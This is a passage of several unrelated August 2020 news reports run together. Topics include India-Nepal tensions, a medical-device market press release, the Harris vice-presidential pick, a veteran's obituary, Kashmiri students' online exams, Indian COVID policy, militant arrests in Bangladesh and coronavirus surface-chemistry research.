Chandrakishore says, Ram-Sita vivaah (marriage) is considered as part of people-to-people contact that dates back many centuries. The basis of this very relationship has been jolted by his claims. India and Nepals relations are built on shared historical and cultural linkages and wide-ranging people to people contacts, as is most often stated in Indias statements during visits and meetings between leaders of the two countries. Gautam Buddhas legacy also falls in the same category shared historical and cultural linkages with four of the three revered pilgrimage sites related to Gautam Buddha being in India - Bodh Gaya, Sarnath and Kushinagar. In fact, it is in Bodh Gaya, Bihar, where he attained Enlightenment and is one of the most holy places for any Buddhist. Chandrakishore further explains that this unique relationship with India is because of the porous border between the two countries. Nepal doesnt share this kind of bonhomie with any other country and Oli wants to end this with a regulated border. He says that this suggestion has been made in the EPG (Eminent Persons Group) Report of 2018 that is yet to be submitted to Prime Minister Modi. There has been silence on part of India on the EPG report. The report has never been made public as it hasnt yet been submitted. However, Nepalese media has been suggesting that India is not amenable to regulating the porous border and some other suggestions and so the report is gathering dust. The EPG was formed in January 2016 and was tasked with reviewing the agreements and treaties, including the India Nepal Friendship Treaty, 1950. The report was finalised in 2018. Article 7 of the India Nepal Friendship Treaty, 1950 says: The Governments of India and Nepal agree to grant, on reciprocal basis, to the nationals of one country in the territories of the other the same privileges in the matter of residence, ownership of property, participation in trade and commerce, movement and other privileges of a similar nature. In fact, the 1950 Treaty that dissolved all others in the past also recognised the historical ties between India and Nepal as a basis for the Treaty. It begins by saying The Government of India and the Government of Nepal, recognising the ancient ties which have happily existed between the two countries; Desiring still further to strengthen and develop these ties and to perpetuate peace between the two countries Speaking on the recent developments with regards to Nepal, Professor SD Muni told News18.com that Indias strategic community is convinced that Nepal would not go to this extent without the Chinese backing. To consolidate his position in the party, which was clearly jeopardised, Oli has been projecting himself as one who can take on India so as to be able to get full China support. SD Muni added, He is under Chinese influence, there is no question about that. The explanation gives a clear insight into the constant push by the Oli government to ruffle feathers in the India establishment but what explains Indias reluctance to reach out to Oli directly? Sources suggest that India is in a wait and watch mode and would not like to reach out at this stage to a man who has not only upset the equation but his own position in the party. NEW YORK, Aug. 11, 2020 /PRNewswire/ -- Cerebral Somatic Oximeters Market Research Report by Type (Dual Emitter and Dual Detector and Single Emitter and Dual Detector), by Patient Type (Adults, NICU, and Pediatrics), by Application, by End User - Global Forecast to 2025 - Cumulative Impact of COVID-19 Read the full report: https://www.reportlinker.com/p05913807/?utm_source=PRN The Global Cerebral Somatic Oximeters Market is expected to grow from USD 154.10 Million in 2019 to USD 201.45 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 4.56%. Market Segmentation & Coverage: This research report categorizes the Cerebral Somatic Oximeters to forecast the revenues and analyze the trends in each of the following sub-markets: Based on Type, the Cerebral Somatic Oximeters Market studied across Dual Emitter and Dual Detector and Single Emitter and Dual Detector. Based on Patient Type, the Cerebral Somatic Oximeters Market studied across Adults, NICU, and Pediatrics. Based on Application, the Cerebral Somatic Oximeters Market studied across Cardiac Surgery and Vascular Surgery. Based on End User, the Cerebral Somatic Oximeters Market studied across Ambulatory Surgical Centers, Clinics, and Hospitals. Based on Geography, the Cerebral Somatic Oximeters Market studied across Americas, Asia-Pacific, and Europe, Middle East & Africa. The Americas region surveyed across Argentina, Brazil, Canada, Mexico, and United States. The Asia-Pacific region surveyed across Australia, China, India, Indonesia, Japan, Malaysia, Philippines, South Korea, and Thailand. The Europe, Middle East & Africa region surveyed across France, Germany, Italy, Netherlands, Qatar, Russia, Saudi Arabia, South Africa, Spain, United Arab Emirates, and United Kingdom. Company Usability Profiles: The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Cerebral Somatic Oximeters Market including Edwards Lifesciences LLC, Harmamatsu Photonics K.K., ISS, Inc., Masimo Corporation, Medtronic PLC, Nonin Medical, Inc., and Ornim Medical, Ltd.. FPNV Positioning Matrix: The FPNV Positioning Matrix evaluates and categorizes the vendors in the Cerebral Somatic Oximeters Market on the basis of Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) that aids businesses in better decision making and understanding the competitive landscape. Competitive Strategic Window: The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisition strategies, geography expansion, research & development, and new product introduction strategies to execute further business expansion and growth. Cumulative Impact of COVID-19: COVID-19 is an incomparable global public health emergency that has affected almost every industry, so for and, the long-term effects projected to impact the industry growth during the forecast period. Our ongoing research amplifies our research framework to ensure the inclusion of underlaying COVID-19 issues and potential paths forward. The report is delivering insights on COVID-19 considering the changes in consumer behavior and demand, purchasing patterns, re-routing of the supply chain, dynamics of current market forces, and the significant interventions of governments. The updated study provides insights, analysis, estimations, and forecast, considering the COVID-19 impact on the market. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on the market offered by the key players 2. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets 3. Market Diversification: Provides detailed information about new product launches, untapped geographies, recent developments, and investments 4. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players 5. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments The report answers questions such as: 1. What is the market size and forecast of the Global Cerebral Somatic Oximeters Market? 2. What are the inhibiting factors and impact of COVID-19 shaping the Global Cerebral Somatic Oximeters Market during the forecast period? 3. Which are the products/segments/applications/areas to invest in over the forecast period in the Global Cerebral Somatic Oximeters Market? 4. What is the competitive strategic window for opportunities in the Global Cerebral Somatic Oximeters Market? 5. What are the technology trends and regulatory frameworks in the Global Cerebral Somatic Oximeters Market? 6. What are the modes and strategic moves considered suitable for entering the Global Cerebral Somatic Oximeters Market? Read the full report: https://www.reportlinker.com/p05913807/?utm_source=PRN About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. Contact Clare: [email protected] US: (339)-368-6001 Intl: +1-339-368-6001 SOURCE Reportlinker Related Links www.reportlinker.com The Trump campaign quickly responded to Joe Biden selecting California Democratic Senator Kamala Harris as his running mate, describing her as "phony" and predicting she will prove to be the former vice president's "political living will." "Clearly, Phony Kamala will abandon her own morals, as well as try to bury her record as a prosecutor, in order to appease the anti-police extremists controlling the Democrat Party," the campaign said in a statement. "Joe Biden is no moderate, and with Harris as his 'political living will,' he is surrendering control of our nation to the radical mob with promises to raise taxes, cut police funding, kill energy jobs, open our borders, and appease socialist dictators." The president did not immediately directly comment, but is slated to brief reporters on the coronavirus pandemic at 5:30 ET. But he did post a campaign video on his personal Twitter account that painted Mr Biden and Ms Harris as controlled by the "radical left." The ad notes Mr Biden has acknowledged his age, 77, and said he may only serve one term. The ad accuses him of handing the "reins" to Ms Harris, saying voters "rejected" her during the Democratic nominating process. But in recent weeks, as she emerged as the frontrunner for the VP candidate slot, Mr Trump told reporters he thought she would be a "fine choice." An Irish war hero who received five Purple Hearts for bravery after serving in the Vietnam War has passed away in a Dublin hospital after a short illness. Originally from Corr Na Mona in Co Galway before moving to Co Meath, Michael Coyne (75) was drafted into the US army after he emigrated to Chicago at the age of 16 where he worked with his cousin for a while. He subsequently served with the D Company in the 11th Armored Cavalry in 1967 until 1968 and featured in a documentary that aired in 2005 called The Green Fields of Vietnam. This followed him on an emotional journey back to Vietnam and the Cambodian border towns which he would have last seen from his military tank. He served his time as a back-deck machine gunner on M48 tanks that criss-crossed the Ho Chi Minh trail on search and destroy missions. His efforts during the conflict which claimed three million Vietnamese lives and 60,000 foreign solders earnt him several commendations for bravery. He was awarded five Purple Hearts for injuries sustained while serving and got two Bronze Stars for Bravery. His funeral notice said he earned this after saving his fellow soldiers while under fire from three damaged tanks on the middle of a minefield. A keen filmographer, he bought an 8mm camera with his first pay cheque and made a video diary of his life during the 1968 TET offensive. After spending many years in America, he returned to his native Ireland and moved to Co Meath, where his family had owned a dairy farm. He passed away on Sunday at Connolly Hospital in Blanchardstown and is survived by his soul-mate Elizabeth, his three children Tomas, Michael and Vanessa and four grandchildren. Mention is also given to the various associations and trusts he was involved with including the American Legion, Irish Veterans and the Tipperary remembrance trust. The notice adds that in line with Government and HSE advice regarding public gatherings, a small private Funeral Mass of 50 family and friends will be held in Clonbur, Co Galway. His family would ask that over the coming days, everyone who knew Michael would take some time to light a candle or say a prayer. Prasanta Mazumdar By Express News Service GUWAHATI: A frequently-travelling Mizoram MLA became a godsent for a pregnant woman and saved her life. C Lalhmangaihsangi from Ngur village in Mizorams remote Champhai district, which shares a border with Myanmar, was going through labour pain and bleeding on Monday but the only doctor at the district hospital was on leave as he was sick. When Dr ZR Thiamsanga, the ruling Mizo National Front (MNF) MLA representing the Champhai North constituency who served for 30 years as a gynaecologist, learnt about the womans case, he rushed to the hospital and helped her deliver through the caesarian section. Dr Thiamsanga told this newspaper that the womans condition was critical and it called for an immediate operation. He said there was no complication in the surgery and the woman and her kid were now fine. The gynaecologist at the Champhai hospital was on leave due to ill health. The lady was in labour pain and bleeding. She needed an immediate operation. So, I volunteered, he said. Lalhmangaihsangis family was planning to take her to state capital Aizawl, which is nearly 200 km away and around 10 hours drive from Champhai. Dr Thiamsanga said if the family had done that, the woman and the unborn baby would not have, possibly, survived. She could not deliver due to complications. If the family had taken her to Aizawl, I feel she as well as the baby would have died or she would have delivered on the way. Its a long and arduous journey as the condition of the road is not good, he said. It was Gods plan. She was very lucky. I too was lucky as I was in Champhai, Dr Thiamsanga, who is the vice-chairman of Health and Family Welfare Board, said. The landlocked Mizoram has very few gynaecologist. The shortage is such that it cannot engage even one gynaecologist in every district. There are also very few anaesthetists. The state has 11 districts but only Aizawl and Lunglei have private hospitals. The only private hospital in Lunglei is run by the church. Dr Thiamsanga was serving at the Aizawl Civil Hospital, which is the states largest healthcare facility when he had received an invitation from the MNF to contest the 2018 Mizoram polls. He opted voluntary retirement and went on to become a lawmaker. He would often be seen moving around with his stethoscope that dangles from around his neck. In June, he took pains by walking for seven km to treat an ailing cop near the international border with Myanmar. Sometimes, he would be accompanied by his daughter, MS Dawngzuali, who too is a doctor. I am an MLA and it is my duty to look after the welfare of my people. And since I am also a doctor, I hardly care for the territorial jurisdiction of my constituency when it is about treating people who are in need of immediate medical attention, Dr Thiamsanga said. Fifteen months ago, the Wyoming Medical Center Board of Directors an all-volunteer group of local community leaders and physicians shared with our community that we were exploring whether we could find a like-minded organization to help ensure the best possible future for health care in our community and our state. We have moved forward with extreme caution and asked the hard questions, of ourselves and especially of Banner. Importantly, and with great intensity over the last seven months during the due diligence period, we have challenged ourselves and Banner with the same questions the Star-Tribune Editorial Board posed recently, as well as many more. As with all our decisions, and especially one this important, the Board has been deliberate and thoughtful. We have explored the issue of the cost of health care in great depth. Banner shares a commitment to finding ways to lower the cost of care for the community, and they understand this must be a key focus and priority. Having access to greater buying power through Banners supply chain is an important part of a complex equation. We believe it will help, but we will also have to work together with local employers, insurance companies and government payors (Medicare and Medicaid) to achieve success. Banner is committed to doing this hard work. In addition, together, we will build a network of care with Banners three other Wyoming hospitals and expand telehealth services. These efforts will help keep people from having to travel far from home to get the care they need, while positively impacting the overall health of Wyomingites and the cost of care. The WMC Board pushed hard to challenge our assumptions around local control and to develop solutions in the proposed agreement that protect our community. Banner is committed to Wyoming Advisory Board to include physicians, community members and others who will have input on the strategic vision for the organization, as well as ensuring quality and regulatory compliance. The WMC Foundation will also have an expanded role that includes not only the responsibility to administer one of Wyomings largest private foundations with well in excess of $220 million in initial funding, but also the duty and legal ability to enforce the covenants in the agreement between WMC and Banner. In addition, Natrona County will preserve the separate legal capacity to ensure the commitments Banner is making in its agreement with the County are met. These are key safeguards providing important protection for our community. The reality is that in the health care world of today and the future, WMC as a standalone hospital by itself simply cannot afford the kinds of investments required to secure our health care future. Given where health care is now and where it is going, we must seize the opportunity we have now with Banner or risk a more uncertain future and our ability to find the right partner for our community. Banners commitment to invest $100 million over ten years in WMC, in addition to dedicating capital toward technology and other infrastructure and ensuring seed funding for a separate, private $220 plus million foundation focused solely on health care in Natrona County, demonstrates their understanding of the responsibility to invest and keep money right here to take care of our community now and for many decades to come. The work of the last many months has revealed a clear answer to what is in the communitys best interest for the future of health care: Banner is simply the right partner for us. They have Wyoming roots and the health care expertise and financial strength to catapult forward the strong health care WMC provides today to achieve a brighter, more secure health care future for generations to come. Embracing this rare and special opportunity now to become Wyomings flagship hospital for an organization that is a true cultural fit for our community is the right thing for our County, our region and our State. Michele Chulick is the WMC President and CEO. Jessica Oden is the WMC Board Chair. Beth Worthen is the WMC Board Vice Chair. Lisa Burridge is the WMC Board Secretary. Love 0 Funny 0 Wow 0 Sad 1 Angry 1 Kildare is a commuter county, but it has a large rural population, with many employed in the agri-food sector, and the new lockdown of the county has shaken everybody here. The panicked, knee-jerk announcement by Government to close down the fitness, hotel and hospitality sectors in Kildare and limit public movement will cause further needless hardship on an already beleaguered SME community, which will lead to an economic meltdown for the region. Our many hotels, resorts, restaurants and pubs that serve food had spent tens of thousands of euro on food stocks for the weekend and had to cancel bookings and events; this puts their operational viability in jeopardy. These bizarre rules were imposed with absolutely no engagement or consultation from NPHET, the HSE or Government. The Government can go a long way to sorting out the problems of Covid infection which is not widespread in the community here. The first is to for once and for all sort out the meat factories. There was no need to shut these enterprises which employ hundreds of people with contracts to fulfil and exports to send. The simple template has been set in Germany and we could easily copy it: instal extra ventilation, test employees daily and ban sub-contracting staff this has already been enacted in the health sector. Equally, the problems caused by house parties fuelled by cheap alcohol could be solved very simply: the price of off-trade alcohol needs to be at least doubled, while our pubs need to re-open under stringent rules. Other sectors of societies have been allowed to re-open and while infection numbers are increasing, rural pubs are not at fault. Theyre one of the most regulated sector as it is and provide a valuable social outlet in rural Ireland. Few rural pubs are ever packed to the rafters. They should be given the opportunity to prove they can be self-regulating. An unforeseen consequence of closed rural pubs is that there are no toilets available for travelling staycationers. Farmers with road-fronted land in west Kerry are having to move their animals due to toilet paper, tissues and excrement from passing tourists jumping the gates to go to the toilet. Kildare Chamber has been lobbying hard for financial support for local businesses. Senior Government ministers and opposition TDs including Dara Calleary, Michael McGrath, Martin Heydon, James Lawless and Pearse Doherty have been in contact to hear our concerns and consider our financial support solutions such as the return of rebates based on past tax returns. Government needs to lead sensibly, and our business leaders can help them. We need ongoing constructive daily dialogue with Government to ensure we exit this lockdown as quickly as possible. Public health will always be the number one focus. The economy must be a key focus also. Brian Purcell is a Co Kildare Chamber of Commerce Board member We had to at least engage (with him), even if we wanted to diminish the things he was saying or go toward a different way of receiving information. The fact that we had to see him and had to engage with him I think thats one of the benefits of receiving messages from social media. Subscriber content preview Group says it will cost $30M to stop erosion and fix Michigan dams Thousands of waterfront homes are near the eroding edges of the dried out lakes behind the dams. By ANNA LIZ NICHOLS Associated Press/Report for America LANSING, Mich. Nature is returning to craters left from lakes drained by two dams that failed in May during torrential rain in mid-Michigan. But not always in a good way. . . . login or purchase a To read this story in fullor purchase a subscription. From going to friends' homes to keeping their fingers crossed that 2G internet connectivity does not deceive them, Delhi University's Kashmiri students have an additional set of worries regarding their online open-book exams. The Delhi University commenced its online open-book examinations from August 10, amid opposition from students and teachers who had been demanding that exams be scrapped and evaluation be done over past performance. Abha Dev Habib, a professor at Miranda House said, "Kashmiri students from our college said they want education and not depression". She said even if the students in Kashmir managed to get connected to the 2G network, they found it difficult to download heavy applications and the internet connection would not always be stable. "Students have also said they have to rely on resources provided by others and miss out on one-on-one interaction which is the crux of the teaching and learning process. They have also claimed that many teachers are inconsiderate to these situations before giving out links and readings in class and during assignments,"she added. Bushra, a student of B.A. (English) Hons at Zakir Husain College, said her district in Jammu and Kashmir was in a state of lockdown. "I am from Rajouri district. We have 2G network here. I had planned to go to a friend's house for taking my exams but it is almost four hours away and it's not feasible during the pandemic. Internet cafes are closed because of the lockdown in my area. I am praying that my 2G network does not deceive me and I am able to take my exams which will begin from tomorrow," she said. Samiya Aziz, another student of Zakir Husain College, said her nearest Common Service Centre (CSC) was 16 kilometres away, and during the pandemic it was not feasible for her to travel for each exam. She said she will go a friend's place where there is wi-fi connection to take her exams. A Kashmiri student of St Stephen's College said he had to travel almost 69 kilometres from Kulgam to Srinagar to take his exams and still faced problems due to unstable internet connectivity. "The situation is not very good in my area. I had to travel 69 kilometres to Srinagar, take my exams in an internet cafe but while uploading I was getting the message, Please check your internet connection'. I refreshed the page multiple times and even tried uploading the answer sheets over my phone's 2G connection but got the same message. Eventually, I had to ask my friend in Lucknow, who was also taking the exam, to upload the answer sheets using my user ID. It was a terrible experience," he said. Another student in Kashmir from Dyal Singh College said he relied on his phone's 2G network to appear for the exam. "I had not faced issues while uploading answers on my phone's 2G network during the mock tests so I relied on my phone's internet connecton. I faced issues while uploading answers and got error messages while uploading them on the portal. I kept refreshing it but got the same message," he said. He said he had to email the answers to the university and the college and could manage to send them almost 20 minutes after the stipulated deadline of 7.30 pm. "I do not know whether my answer sheet will be accepted," he said. NEW DELHI: The Bihar government on Tuesday (August 11) told the Supreme Court that the FIR lodged in Patna in relation to actor Sushant Singh Rajput's suicide in Mumbai is legal and valid. Senior advocate Maninder Singh, appearing for Bihar government told the Supreme Court that no FIR has been lodged in Mumbai's yet on Sushant death. He strongly refuted the allegation that the FIR in Patna was lodged at the behest of Bihar Chief Minister, and referred to the quarantining of a senior police officer from the state in Mumbai. He also refuted the allegation of political pressure, bias and influence made by actress Rhea Chakraborty. "Even Rajput's postmortem report was not given to the state police by the Maharashtra police," the Bihar government said. The court was hearing Rhea's plea seeking transfer of the FIR, filed by Sushant's father KK Singh accusing her of abetment of suicide, from Patna to Mumbai. Senior advocate Shyam Divan, appearing for Rhea told the bench that the FIR lodged by Sushant's father against the actress has absolutely no connection with any offence in Patna. He said there appears to be considerable amount of state interference and influence and therefore an apprehension of bias. He referred to the time-line in the case and said that there was considerable delay of over 38 days in lodging of the FIR at Patna. Referring to the complaint filed by Rajput's father to the police in Patna, he said that all averments mentioned in the complaint are relatable to Mumbai. He said Mumbai Police has recorded statements of 56 persons in the case and its probe has proceeded quite substantially. Divan also alleged that a huge media trial was going on parallelly in the case. Senior advocate Abhishek Manu Singhvi, appearing for Maharashtra, told the bench that he is opposing the jurisdiction of Bihar in investigating the case. Sushant was found hanging from the ceiling of his rent apartment in suburban Bandra Pali Hill in Mumbai on June 14. Washington: Presumptive Democratic nominee Joe Biden has announced California Senator Kamala Harris as his running mate, ending weeks of increasingly frenzied speculation. If Biden defeats Donald Trump on November 3, Harris would become the first female vice-president in US history. Just two women Democrat Geraldine Ferraro in 1984 and Republican Sarah Palin in 2008 have previously been on the ballot as US vice-presidential candidates. Joe Biden's VP pick: Kamala Harris. Credit:AP Harris, the daughter of Jamaican and Indian immigrants, will be the first black woman to feature on a presidential ticket in US history. Biden announced his decision in an email to supporters on Tuesday afternoon (Wednesday AEST). Dhaka, Aug 11 : A counterterrorism team arrested five members of Neo-Jama'atul Mujahideen Bangladesh (Neo JMB) on Tuesday even as the banned outfit was planning to carry out major terror attacks in the country, a senior police officer said. Dhaka Metropolitan Police's Counterterrorism and Transnational Crime (CCTC) Deputy Commissioner Saiful Islam confirmed the arrests by a team of CTTC from Sylhet and said that they are being brought to national capital Dhaka for further questioning. The arrested men included two students of Shahjalal University of Science and Technology in Sylhet and one student of Madan Mohan College in Sylhet, Sylhet police officials said. The militant outfit is led by Naimuzzaman in the Sylhet region. Islam said that continuous successful operations by the police had prevented militants from organising large number of ultras and carry out their sinister plans for massive terror attacks. "The five arrested militants were found involved in a bomb attack on a Naogaon temple before Eid and planting a bomb on a police motorcycle in Dhaka's Paltan, Islam said. The militants were planning to attack the Shahjalal shrine in Sylhet. They had planned the attack on Naogaon temple before Eid and assigned some local contacts for the blast, the police said. "Their involvement in other militant activities are being checked. Inquiries into the matter are on," Islam added. "They are being brought to Dhaka. After interrogating them and knowing the details, we will inform the media tomorrow," he added. He claimed that with these arrests, the CTTC team had foiled the banned group's plan to engineer some big terror attacks on installations across the country. A Sylhet police official said special team of police from Dhaka had raided Mirabazar, Tukerbazar, and South Surma areas in Sylhet between Sunday night and Tuesday morning and arrested the five militants. On July 25, a bomb had exploded at the Paltan intersection in the capital. However, no one was injured in the incident. A case has been registered at the Paltan police station regarding the blast. "Today's arrests in Sylhet were made while investigating the case." Meanwhile, a team from CTTC and Lawfull Interception Cell (LIC) from the police headquarters are conducting an operation in Sylhet to find out who else is involved in the group's plan for terror attacks. "The accused were connected through a chat group on their own mobile app and had made the plan for massive bomb attacks," police officer Islam claimed. Shah Jalal is a 700-year-old Sufi shrine in Sylhet in Bangladesh. In January 2004, a grenade attack was carried out at the shrine by Harkat-ul-Jihad al-Islami of Bangladesh (HUJI-B) on then British High Commissioner to Bangladesh, Anwar Choudhury. The components of the grenades were traced to Pakistan, investigating officials had told a court. Anwar Chowdhury, a Bangladeshi-born British citizen, was injured while five others had died in the attack. HUJI-B leader Mufti Abdul Hannan was hanged on April 13, 2017 for his role in the bombing along with Sharif Shahedul Alam Bipul and Delwar Hossain alias Ripon, who were involved in the bomb attack. A Glen Mills man convicted earlier this year in a deadly home invasion in Lancaster County will spend the rest of his life behind bars. Christopher J. Lyles, 34, was sentenced Monday to life in prison plus 12 to 40 years on charges that include second-degree murder and robbery, according to the Lancaster County District Attorneys Office. Lyles was the triggerman in the 2016 death of Dennis Pitch in a home invasion in Salisbury Township, which Lancaster County Judge David Ashworth called a cold-blooded, ruthless and senseless killing, according to the DAs office. Through the course of trial, Assistant District Attorney Mark Fetterman argued Lyles and three others targeted the home of Dennis Pitch for a robbery on Dec. 2, 2016. Pitch, who Fetterman called an everyday person, a working man, was fatally shot in the head and torso. Dennis Pitch could be any one of us, Fetterman told the court. The only mistake he made was mentioning he had some money. According to the DAs office, the judge noted Lyles is also an admitted member of a prison gang, adding, This was not a crime of passion; this was a crime of deliberation. Accused co-defendants Brandon Bills, Kristopher Smith and Michael Baker have pending cases in Lancaster County Court. According to the DAs office, evidence at trial included cellphone locations that tracked the group and placed them around Pitchs home at the time of the killing, testimony from a prison inmate with whom Lyles discussed the incident and surveillance footage of one of their vehicles near Pitchs home. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Follow mantra of contact tracing, testing in 72 hours: PM to states in COVID meeting India pti-Deepika S New Delhi, Aug 11: Prime Minister Narendra Modi on Tuesday called for tracing and testing those who come in contact with COVID-19 patients in 72 hours and asserted if the virus is defeated in 10 states, which account for 80 per cent of the active cases, then the country will also emerge victorious against the pandemic. At a video conference with chief ministers and representatives of these 10 states, including Bihar, Uttar Pradesh, Punjab, Andhra Pradesh, Maharashtra and Tamil Nadu, Modi said the recovery rate has gone up which, he added, meant that government efforts have proved to be effective. He emphasised on the need to trace and test all those who come in contact with an infected person within 72 hours. "We need to follow a new mantra - all those who have come in contact with an infected person should be traced and tested within 72 hours," he was quoted as saying in an official statement. This should be followed with the same earnestness as washing hands, maintaining social distance and wearing masks, he said. The percentage of active cases is reducing, while the recovery rate is increasing, the prime minister said. Coronavirus: Russia claims first Covid-19 vaccine 'Sputnik V', WHO wants to review | Oneindia News He noted that these steps have boosted the confidence of people, and said the target of bringing down the fatality rate below one per cent can be achieved soon. Modi shared as to how Home Minister Amit Shah worked to prepare a roadmap for successfully tackling the pandemic together with Delhi and nearby states. The Centre and states have been able to work as a team in the fight against COVID-19, he said. "Our experience so far is that containment, contact tracing and surveillance are the most effective weapons against the pandemic, with experts of the view that if cases are identified within 72 hours of onset, then infection slows down to great extent," the prime minister said. He pointed out that the number of active cases in the country stands at over six lakh, and most of them have been reported from the 10 states. Today, 80 per cent active cases are in these 10 states. Hence the role of all these states is very big in the fight against coronavirus, he said. Modi said it was a matter of satisfaction that the average fatality rate in India has been going down and noted that it has been very low compared to the world average. In separate statements, various chief ministers shared their views expressed in the meeting, with Mamata Banerjee of West Bengal raising the issue of over Rs 53,000 crore due to her state from the Centre. New Zealand reinstates coronavirus restrictions after first locally-transmitted case in 102 days Telangana Chief Minister K Chandrasekhar Rao pitched for augmenting healthcare facilities across the country while his Andhra Pradesh counterpart Y S Jagan Mohan Reddy said a "focused testing" strategy to detect COVID-19 cases early is paying dividends in his state. Maharashtra Chief Minister Uddhav Thackeray said his government is striving to see to it that there is no second wave of COVID-19 in the state. Modi said in the meeting that there was a need for the 10 states to sit together, review and discuss, as from this discussion, they also learnt a lot from "each other''s experiences and best practices". He told the participants that such meetings and discussions are necessary as new situations are emerging amid the pandemic. "Pressure on hospitals, pressure on our health workers, lack of continuity in everyday work. They bring a new challenge every day" Modi elaborated. He noted that the number of daily tests has reached almost 7 lakh and is increasing continuously, which has helped in early identification and containment. The average fatality rate in the country is amongst the lowest in world and is continuously going down. States where testing rate is low and where the positivity rate is high, the need to increase testing has come to the fore, especially in Bihar, Gujarat, Uttar Pradesh, West Bengal and Telangana, he said. Modi noted that people have become aware and are ably assisting these efforts, as a result of which the country has been successful in using home quarantine so effectively, the statement said. He said at one point of time, cases in certain districts of Uttar Pradesh and Haryana, and Delhi became a matter of concern. He also referred to statement of the Delhi government about the possibility of a big rise in COVID-19 cases and recounted the experience of Shah in preparing a roadmap for tackling the pandemic together with Delhi and nearby states. According the statement, Modi said the main pillars of this strategy were segregation of containment zones and focus on screening, especially of those in high risk category. The results of these steps are there for all to see, he said, adding that steps like better management in hospitals and increasing ICU beds also proved very helpful. The chief ministers provided feedback on the ground situation in their states. They praised the leadership of the prime minister for the successful management of the pandemic and thanked him for his constant guidance and support, it said. They talked about tests being conducted, steps taken to increase testing, use of tele-medicine and efforts to ramp up health infrastructure. They requested further guidance by the health ministry for conducting sero-surveillance, while also suggesting setting up of an integrated medical infrastructure in the country. Defence Minister Rajnath Singh emphasised that the government is making all possible efforts in this battle against the virus, which have been praised by the World Health Organization as well, the statement said. Secretary, Ministry of Health and Family Welfare presented an overview of COVID cases in the country, noting that the rate of growth of cases in some states is higher than the average rate, and requested the states to focus on optimal utilisation of testing capacity. He emphasised on the need for reporting accurate mortality figures and also talked about perimeter monitoring of containment zones with the help of local communities. Finance Minister Nirmala Sitharaman, Health Minister Harsh Vardhan and minister of state for home were also present at the interaction. Chief ministers of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh were invited for the virtual meet. "Karnataka was represented by the deputy chief minister," the statement said. Karnataka Deputy Chief Minister Ashwath Narayan attended the meet along with state Medical Education Minister K Sudhakar. Researchers at Michigan Tech, TUV SUD UK National Engineering Laboratory and University of Edinburgh call for increased research on virus surface stability and interaction in "Surface Chemistry Can Unlock Drivers of Surface Stability of SARS-CoV-2 in Variety of Environmental Conditions" in the Cell Press journal Chem. They highlight the need to understand the different environmental conditions that affect the surface chemistry of viruses like SARS-CoV-2, the virus that causes the disease COVID-19. Creating an Unfriendly Surface for Viruses We're told to wash our hands with soap for 20 seconds to kill viruses. Why? Because the soap interacts with the surface chemistry of a virus, particularly the lipid, or fatty, casing around it, and essentially makes the virus explode. Handwashing is a clear example of why understanding how viruses interact with surface environments is important. Increased research will better equip us to diminish how long viruses survive on surfaces or in the air, an important way to stop the spread. "If the surface is not friendly, it's easier for the virus to fall apart. Where the virus has more friendly interactions with the surface, it's more likely to stay infectious," said Caryn Heldt, professor of chemical engineering and director of the Health Research Institute at Michigan Technological University. "Viruses have unique ways of interacting with surfaces. The surface chemistry of the virus will change how the virus interacts with water," Heldt said. "If water such as humidity, which is common in your breath and in the air, gets between the virus and a surface, it can really change the way the virus interacts with that surface. The virus surface and the environment: you can't separate them out." More Than One Way to Skin a Cat... Or a Virus Part of the reason the scientific community's understanding of the SARS-CoV-2 virus continues to evolve is because there are only a few techniques available to measure the small amounts of virus particles required to infect a person as compared to other types of biomolecules, such as proteins. "We need to understand how viruses interact with surfaces with and without water present, but the traditional ways we think of studying surface chemistry cannot detect these low levels of virus," Heldt said. Heldt and coauthors said their article provides a broad overview of different ways researchers could learn more about these surface interactions on a chemical level. Unlike the viruses that cause influenza, SARS-CoV-2 is mainly transmitted through aerosols, or particles that travel through and stay suspended in the air when people talk, sing, cough or sneeze. The flu is transmitted by large droplets you breathe out, which fall to and stay infectious on surfaces. Heldt said surfaces have not been ruled out as a mode of transmission, but that the most common form of transition seems to be aerosol inhalation. "It's about how close you are to someone and for how long," she said. Temperature and humidity in particular seem to have greater effects on the SARS-CoV-2 virus' virility. "For the first time, we highlight potential mechanisms of the novel SARS-CoV-2 surface stability in various environmental conditions including temperature and relative humidity," said Aliakbar Hassanpouryouzband, a postdoctoral research associate at the University of Edinburgh. While viruses are typically more stable when it's colder, which explains why flu season hits during the winter, that doesn't seem to be the case for the virus that causes COVID-19. However, researchers can infer from what heat does to molecules -- it increases their energy, causing them to move and vibrate more quickly -- that increased vibrations of virus molecules causes them to explode and no longer be infectious. When it comes to humidity, viruses need to bind some water to their surfaces. But dehydrating a virus molecule isn't a cut-and-dried solution -- it can actually make some molecules more stable. Along with further research into the effects of humidity, temperature and other environmental conditions, there's a need to explore the effects of pH balance and protein casings on the virus. The work to better understand the surface chemistry of SARS-CoV-2 will help scientists around the world design vaccines for this pandemic and those of the future. "We hope that this article will assist experimental scientists worldwide in their investigations for unravelling the molecular drivers implicated in this new coronavirus transmission from the surfaces as well as in vaccine development and antiviral drug design," said Edris Joonaki, fluid properties expert at TUV SUD UK National Engineering Laboratory. ### Helicopters are parked inside the U.S. Army Garrison Humphreys in Pyeongtaek, Gyeonggi Province, Tuesday. According to sources, Korea and the U.S. will hold the joint military exercise from Aug. 16 to 28, after carrying out a preliminary Crisis Management Staff Training drill for four days from Tuesday. Yonhap By Jung Da-min The government's goal to accomplish the transition of wartime operational control (OPCON) of the Korean military from Washington to Seoul by 2022 may face a setback as this year's joint military exercises with the United States 